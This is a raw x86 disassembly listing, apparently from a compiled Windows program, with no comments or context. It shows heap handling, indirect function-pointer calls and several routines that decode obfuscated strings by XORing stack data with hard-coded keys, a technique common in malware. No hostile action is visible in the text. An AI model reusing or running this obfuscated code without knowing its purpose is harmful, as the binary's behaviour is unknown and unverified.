je 0x43353a
mov dword [esp + 4], esi
lea esi, [esp + 0x128]
mov ecx, esi
call fcn.00467c20
mov ecx, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esp + 0x100], ecx
mov dword [esp + 0x170], ecx
mov dword [esp + 0x174], eax
lea eax, [0x49c193]
lea esi, [esp + 0x10]
mov dword [esi], eax
mov ecx, dword [esi]
mov dword [esi], 0xf88965bb
mov edx, dword [esi]
call fcn.004270fd
mov edx, 0x79384172
xor edx, dword [eax]
movzx ecx, byte [eax + 6]
movzx eax, word [eax + 4]
mov dword [esp + 0x11c], edx
xor eax, 0x6d9
mov word [esp + 0x120], ax
xor cl, 0xd1
mov byte [esp + 0x122], cl
lea eax, [esp + 0x11c]
mov dword [esp + 0xe0], eax
mov dword [esi], str.Invalid
mov eax, 2
mov dword [esi + 4], eax
mov dword [esi + 0x10], 0
lea ecx, [esp + 0x60]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], eax
mov dword [esp + 0xe4], 7
lea eax, [esp + 0x170]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 0x46d6b0
lea eax, [esp + 0xe0]
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 0x41117d
lea ecx, [esp + 0xa0]
mov edx, esi
call fcn.004017d0
lea eax, [esp + 0x128]
cmp dword [eax], 0
je 0x433985
push dword [esp + 0x100]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movsd xmm0, qword [esp + 0xa0]
lea edx, [esp + 0x60]
movsd qword [edx], xmm0
mov eax, dword [esp + 0xa8]
mov dword [edx + 8], eax
lea edi, [esp + 0x80]
mov dword [edi], ebx
mov eax, dword [esp]
mov dword [edi + 4], eax
mov eax, dword [esp + 4]
mov dword [edi + 8], eax
mov ecx, esi
call fcn.004023c0
lea ebx, [esp + 0x128]
mov ecx, ebx
mov edx, edi
push esi
call fcn.00431744
add esp, 4
mov edi, dword [ebx]
test edi, edi
je 0x433ae4
mov esi, dword [esp + 0x12c]
jmp 0x43455a
mov edi, dword [esp + 0x48]
cmp dword [esp + 0x128], 0
je 0x433a04
push ebx
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
inc edx
mov ecx, edi
call fcn.00478b38
mov dword [esp], eax
mov ebx, edx
mov edx, dword [esp + 0xa4]
mov dword [esp + 4], edi
lea edi, [esp + 0x10]
mov ecx, edi
push dword [esp + 0xa8]
call fcn.0042282c
add esp, 4
mov eax, dword [edi]
test eax, eax
je 0x433a52
mov esi, ebx
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], ecx
jmp 0x433b42
mov edi, dword [esp + 0x14]
mov dword [esp + 0x128], 0
mov eax, dword [0x4c0a6c]
test eax, eax
je 0x433b0d
push 0
push esi
push dword [esp + 0xc]
push ebx
push edi
call eax
test eax, eax
je 0x433b0d
mov eax, dword [0x4c0a70]
test eax, eax
je 0x433a8d
push edi
call eax
mov eax, dword [esp + 0xc]
cmp dword [eax + 0x68], 0
je 0x433aac
push dword [eax + 0x6c]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp]
mov dword [eax + 0x68], ecx
mov dword [eax + 0x6c], ebx
mov ecx, dword [esp + 4]
mov dword [eax + 0x70], ecx
lea esi, [esp + 0x10]
lea edx, [esp + 0xa0]
mov ecx, esi
call fcn.00436858
cmp byte [esi], 4
lea ebx, [esp + 0x60]
jne 0x434430
lea edi, [esp + 0x10]
jmp 0x434440
mov edx, dword [esp + 0x64]
lea esi, [esp + 0x10]
mov ecx, esi
push dword [esp + 0x68]
call fcn.0042282c
add esp, 4
mov edi, dword [esi]
test edi, edi
je 0x4343bd
mov esi, dword [esp + 0x14]
jmp 0x43455a
mov eax, dword [0x4c0a70]
test eax, eax
je 0x433b19
push edi
call eax
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov byte [ecx], 0
mov dword [ecx + 4], eax
call fcn.00434bb2
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x4a67c8
cmp dword [esp], 0
lea ebx, [esp + 0x60]
lea edi, [esp + 0x10]
je 0x433b5f
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0xa0], 0
je 0x433b7e
push dword [esp + 0xa4]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0x80]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 0x4346b8
mov eax, 2
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0x20
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 4
mov byte [esp + 0x2c], 3
lea ecx, [esp + 0x128]
mov dword [ecx], str.Invalid
mov dword [ecx + 4], eax
mov dword [ecx + 0x10], edi
xor eax, eax
inc eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 8], ebx
mov dword [ecx + 0xc], eax
call fcn.0046cbf0
mov esi, dword [esp + 0x80]
test esi, esi
je 0x433c15
mov edi, dword [esp + 0x84]
push esi
call dword [edi]
add esp, 4
cmp dword [edi + 4], 0
je 0x433c15
cmp dword [edi + 8], 9
jb 0x433c06
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esi, [esp + 0x128]
mov ecx, esi
call fcn.00467c20
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esp + 0x170], edi
mov dword [esp + 0x174], eax
lea eax, [0x4a3ccc]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x6f010393
mov edx, dword [esp + 0x10]
call fcn.00426906
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dl, 1
movzx esi, byte [ecx + 0x4a5f1c]
mov ebx, ecx
or ebx, 1
movzx ebx, byte [ebx + 0x4a5f1c]
shl ebx, 8
or ebx, esi
mov esi, ecx
or esi, 2
movzx esi, byte [esi + 0x4a5f1c]
shl esi, 0x10
or ebx, esi
mov esi, ecx
or esi, 3
movzx esi, byte [esi + 0x4a5f1c]
shl esi, 0x18
or ebx, esi
xor ebx, dword [eax + ecx]
mov dword [esp + ecx + 0x10], ebx
mov ecx, 4
test dl, 1
mov edx, 0
jne 0x433c66
lea ebx, [esp + 0x10]
movsd xmm0, qword [ebx]
movsd qword [esp + 0xc8], xmm0
lea eax, [esp + 0xc8]
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], 8
lea eax, [esp + 0x170]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 0x46d6b0
lea eax, [esp + 0xe0]
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 0x41117d
mov dword [ebx], str.Invalid
mov eax, 2
mov dword [ebx + 4], eax
mov dword [ebx + 0x10], 0
lea ecx, [esp + 0x60]
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], eax
lea ecx, [esp + 0x80]
mov edx, ebx
call fcn.004017d0
cmp dword [esp + 0x128], 0
je 0x433d4c
push edi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movsd xmm0, qword [esp + 0x80]
movsd qword [esp + 0xa0], xmm0
mov eax, dword [esp + 0x88]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 8]
mov dword [esp + 0xe0], eax
lea eax, [0x4a496c]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0xbf88315d
mov edx, dword [esp + 0x10]
call fcn.00426a82
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dl, 1
movzx esi, byte [ecx + 0x4a5f24]
mov edi, ecx
or edi, 1
movzx edi, byte [edi + 0x4a5f24]
shl edi, 8
or edi, esi
mov esi, ecx
or esi, 2
movzx esi, byte [esi + 0x4a5f24]
shl esi, 0x10
or edi, esi
mov esi, ecx
or esi, 3
movzx esi, byte [esi + 0x4a5f24]
shl esi, 0x18
or edi, esi
xor edi, dword [eax + ecx]
mov dword [esp + ecx + 0x10], edi
mov ecx, 4
test dl, 1
mov edx, 0
jne 0x433da2
lea ebx, [esp + 0x128]
lea eax, [esp + 0xe0]
mov dword [ebx], eax
lea edi, [esp + 0x10]
movsd xmm0, qword [edi]
mov dword [ebx + 4], 0x402618
lea eax, [esp + 0xc8]
mov dword [ebx + 8], eax
mov dword [edi], str.Invalid
mov eax, 2
mov dword [edi + 4], eax
mov dword [edi + 0x10], 0
lea ecx, [esp + 0x128]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], eax
movsd qword [esp + 0x80], xmm0
lea eax, [esp + 0x80]
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], 8
mov dword [ebx + 0xc], 0x41117d
lea esi, [esp + 0x60]
mov ecx, esi
mov edx, edi
call fcn.004017d0
lea edx, [esp + 0xa0]
mov ecx, edi
call fcn.004023c0
mov ecx, ebx
mov edx, esi
push edi
call fcn.00431744
add esp, 4
mov eax, dword [ebx]
test eax, eax
je 0x433e9d
mov ecx, dword [esp + 0x12c]
jmp 0x433ec7
mov edx, dword [esp + 0xa4]
lea ebx, [esp + 0x10]
mov ecx, ebx
push dword [esp + 0xa8]
call fcn.0042282c
add esp, 4
mov eax, dword [ebx]
test eax, eax
je 0x433f93
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], ecx
cmp dword [esp + 0xa0], 0
je 0x433ef4
push dword [esp + 0xa4]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0x80]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 0x4346b8
mov eax, 2
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0x20
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 4
mov byte [esp + 0x2c], 3
lea ecx, [esp + 0x128]
mov dword [ecx], str.Invalid
mov dword [ecx + 4], eax
mov dword [ecx + 0x10], edi
xor eax, eax
inc eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 8], esi
mov dword [ecx + 0xc], eax
call fcn.0046cbf0
mov esi, dword [esp + 0x80]
test esi, esi
je 0x433f8b
mov edi, dword [esp + 0x84]
push esi
call dword [edi]
add esp, 4
cmp dword [edi + 4], 0
je 0x433f8b
cmp dword [edi + 8], 9
jb 0x433f7c
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea ebx, [esp + 0x10]
mov eax, dword [ebx + 4]
mov dword [esp + 8], eax
lea esi, [esp + 0x128]
lea edx, [esp + 0xa0]
mov ecx, esi
call fcn.004023c0
mov byte [esi + 0xc], 1
mov edx, dword [esi + 4]
mov ecx, ebx
mov dword [esp], edx
push dword [esi + 8]
call fcn.0046ae00
add esp, 4
mov eax, dword [ebx]
xor eax, 2
or eax, dword [ebx + 4]
jne 0x43401c
lea ecx, [esp + 0x10]
movsd xmm0, qword [ecx + 8]
movsd qword [ecx], xmm0
call fcn.00434bb2
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x4a67c8
cmp dword [esp + 0x128], 0
je 0x434013
push dword [esp]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esi, [esp + 0x60]
jmp 0x433ed5
mov ebx, dword [esp + 0x48]
cmp dword [esp + 0x128], 0
je 0x43403b
push dword [esp]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
inc edx
mov ecx, ebx
call fcn.00478b38
mov dword [esp + 0x100], eax
mov dword [esp + 0x128], 0
mov eax, dword [0x4c0a6c]
test eax, eax
mov dword [esp + 4], ebx
mov ebx, dword [esp + 8]
mov dword [esp], edx
lea esi, [esp + 0x60]
je 0x434110
push 0
lea ecx, [esp + 0x12c]
push ecx
push dword [esp + 0xc]
push edx
push ebx
call eax
mov ecx, dword [esp]
test eax, eax
je 0x434110
mov eax, dword [0x4c0a70]
test eax, eax
je 0x43409f
push ebx
call eax
mov ecx, dword [esp]
mov eax, dword [esp + 0xc]
cmp dword [eax + 0x74], 0
je 0x4340c1
push dword [eax + 0x78]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp]
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x100]
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], ecx
mov ecx, dword [esp + 4]
mov dword [eax + 0x7c], ecx
lea ebx, [esp + 0x10]
lea edx, [esp + 0xa0]
mov ecx, ebx
call fcn.00436858
cmp byte [ebx], 4
je 0x4340f8
mov eax, dword [esp + 0x10]
cmp al, 4
jne 0x4345a8
mov byte [esp + 0x84], 1
mov dword [esp + 0x80], 0
jmp 0x433ef4
mov eax, dword [0x4c0a70]
test eax, eax
je 0x43411c
push ebx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov byte [ecx], 0
mov dword [ecx + 4], eax
call fcn.00434bb2
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x4a67c8
cmp dword [esp + 0x100], 0
je 0x433ed5
push dword [esp]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x433ed5
mov dword [esp + 4], ecx
mov edx, 0x10
jmp 0x4328d6
movsd xmm0, qword [esp + 0x20]
movsd qword [esp + 0x70], xmm0
movups xmm0, xmmword [esp + 0x11]
movups xmmword [esp + 0x61], xmm0
mov byte [esp + 0x60], al
lea eax, [0x4a0db8]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x4afd9841
mov edx, dword [esp + 0x10]
call fcn.00426f25
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dl, 1
movzx edi, byte [ecx + 0x4a75c8]
mov esi, ecx
or esi, 1
movzx esi, byte [esi + 0x4a75c8]
shl esi, 8
or esi, edi
mov edi, ecx
or edi, 2
movzx edi, byte [edi + 0x4a75c8]
shl edi, 0x10
or esi, edi
mov edi, ecx
or edi, 3
movzx edi, byte [edi + 0x4a75c8]
shl edi, 0x18
or esi, edi
xor esi, dword [eax + ecx]
mov dword [esp + ecx + 0x10], esi
mov ecx, 4
xor esi, esi
test dl, 1
mov edx, 0
jne 0x4341ba
movsd xmm0, qword [esp + 0x10]
lea ecx, [esp + 0xc8]
movsd qword [ecx], xmm0
lea eax, [esp + 0x60]
mov edx, 8
push eax
call fcn.0045e21c
add esp, 4
mov edi, eax
lea eax, [0x4a40ac]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], 0x7dea6b87
mov edx, dword [esp + 0x10]
call fcn.00426d31
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x4a75e8]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x14], edx
add ecx, 4
cmp ecx, 8
jb 0x434261
test edi, edi
mov esi, 0x4ae578
cmove edi, esi
mov al, byte [eax + 0xc]
xor al, 0xf8
mov byte [esp + 0x1c], al
movsd xmm0, qword [esp + 0x10]
lea ebx, [esp + 0xa0]
movsd qword [ebx], xmm0
movsd xmm0, qword [esp + 0x15]
movsd qword [ebx + 5], xmm0
mov ecx, ebx
mov edx, 0xd
push edi
call fcn.0045e21c
add esp, 4
test eax, eax
cmove eax, esi
cmp byte [eax], 3
mov esi, dword [esp + 4]
jne 0x434618
mov edx, dword [eax + 8]
lea edi, [esp + 0x10]
mov ecx, edi
push dword [eax + 0xc]
call fcn.00443a30
mov ecx, edi
add esp, 4
mov edi, dword [edi]
cmp edi, 0x80000000
je 0x434618
mov edx, dword [esp + 0x18]
cmp edx, 4
jbe 0x4346a9
mov eax, dword [esp + 0x14]
add edx, 0xfffffffb
mov dword [esp + 8], eax
add eax, 5
mov dword [esp + 0xa0], edx
mov dword [esp + 0xa4], eax
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov eax, dword [0x4c0a98]
test eax, eax
je 0x4345f8
sub esp, 0x1c
mov dword [esp + 0x18], ecx
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], ebx
mov dword [esp + 0x14], 0
call eax
test eax, eax
je 0x4345f8
mov esi, dword [esp + 0x10]
cmp esi, 0x80000000
je 0x4345fe
mov eax, dword [esp + 0x14]
mov dword [esp + 0x100], eax
mov ebx, dword [esp + 0xc]
mov ecx, dword [ebx + 0x20]
mov edx, dword [ebx + 0x24]
call fcn.004365ac
mov dword [ebx + 0x20], esi
mov eax, dword [esp + 0x100]
mov dword [ebx + 0x24], eax
mov dword [ebx + 0x28], esi
test edi, edi
je 0x4343a0
push dword [esp + 8]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x60]
call fcn.0041de5c
cmp dword [esp + 4], 0
mov eax, dword [esp]
je 0x4325e8
push eax
jmp 0x433030
lea edi, [esp + 0x10]
mov eax, dword [edi + 4]
mov dword [esp], eax
lea ebx, [esp + 0x128]
lea edx, [esp + 0x60]
mov ecx, ebx
call fcn.004023c0
mov byte [ebx + 0xc], 1
mov esi, dword [ebx + 4]
mov ecx, edi
mov edx, esi
push dword [ebx + 8]
call fcn.0046ae00
add esp, 4
mov eax, dword [edi]
xor eax, 2
or eax, dword [edi + 4]
jne 0x434458
lea ecx, [esp + 0x10]
movsd xmm0, qword [ecx + 8]
movsd qword [ecx], xmm0
call fcn.00434bb2
mov edi, eax
cmp dword [esp + 0x128], 0
je 0x434426
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 0x4a67c8
jmp 0x43455a
mov eax, dword [esp + 0x10]
cmp al, 4
lea edi, [esp + 0x10]
jne 0x4345d0
mov byte [esp + 0x84], 1
mov dword [esp + 0x80], 0
jmp 0x433b7e
mov edi, dword [esp + 0x48]
cmp dword [esp + 0x128], 0
je 0x434475
push esi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc esi
mov ecx, edi
mov edx, esi
call fcn.00478b38
mov dword [esp + 0x100], eax
mov dword [esp + 0x128], 0
mov eax, dword [0x4c0a6c]
test eax, eax
mov dword [esp + 4], edx
je 0x434514
push 0
push ebx
push edi
push edx
push dword [esp + 0x10]
call eax
mov ecx, dword [esp + 4]
test eax, eax
je 0x434514
mov eax, dword [0x4c0a70]
test eax, eax
je 0x4344c5
push dword [esp]
call eax
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0xc]
cmp dword [eax + 0x5c], 0
je 0x4344e8
push dword [eax + 0x60]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x100]
mov dword [eax + 0x5c], edx
mov dword [eax + 0x60], ecx
mov dword [eax + 0x64], edi
lea edi, [esp + 0x10]
lea edx, [esp + 0x60]
mov ecx, edi
call fcn.00436858
cmp byte [edi], 4
jne 0x434651
xor edi, edi
jmp 0x434573
mov eax, dword [0x4c0a70]
test eax, eax
je 0x434522
push dword [esp]
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x10]
mov byte [ecx], 0
mov dword [ecx + 4], eax
call fcn.00434bb2
mov edi, eax
mov esi, 0x4a67c8
cmp dword [esp + 0x100], 0
je 0x43455a
push dword [esp + 4]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x60], 0
je 0x434573
push dword [esp + 0x64]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x43353a
push edi
call dword [esi]
add esp, 4
cmp dword [esi + 4], 0
je 0x43353a
cmp dword [esi + 8], 9
jb 0x434594
mov edi, dword [edi - 4]
push edi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x43353a
lea ecx, [esp + 0x10]
mov edx, dword [ecx + 4]
mov dword [ecx], eax
mov dword [ecx + 4], edx
call fcn.00434bb2
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x4a67c8
jmp 0x433ef4
lea ecx, [esp + 0x10]
mov edx, dword [ecx + 4]
mov dword [ecx], eax
mov dword [ecx + 4], edx
call fcn.00434bb2
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0x4a67c8
jmp 0x433b7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
mov esi, dword [esp + 4]
je 0x434618
push dword [esp + 8]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x60]
call fcn.0041de5c
mov edi, dword [esp]
test esi, esi
je 0x434637
push edi
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x80], 0
je 0x43264f
push dword [esp + 0x84]
jmp 0x432641
mov eax, dword [esp + 0x10]
xor edi, edi
cmp al, 4
je 0x434573
lea ecx, [esp + 0x10]
mov edx, dword [ecx + 4]
mov dword [ecx], eax
mov dword [ecx + 4], edx
call fcn.00434bb2
mov edi, eax
mov esi, 0x4a67c8
jmp 0x434573
mov ecx, 0x4b0fbc
mov edx, 0x46
push 0x4b1054
push 0x4a589c
lea eax, [esp + 0x18]
push eax
call fcn.0048d6c0
mov ecx, 4
mov edx, 0x24
call fcn.0048d220
mov ecx, 5
push 0x4a7734
call fcn.0048d2f0
push esi
sub esp, 8
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cmp dword [eax], 0
je 0x4346de
lea esi, [esp + 4]
mov dword [esi], eax
mov edx, 0x4aedf2
push 0x4a627c
push esi
push 3
jmp 0x4346f2
add eax, 4
mov esi, esp
mov dword [esi], eax
mov edx, str.OkErr
push 0x4a6168
push esi
push 2
call fcn.00408860
add esp, 0xc
add esp, 8
pop esi
ret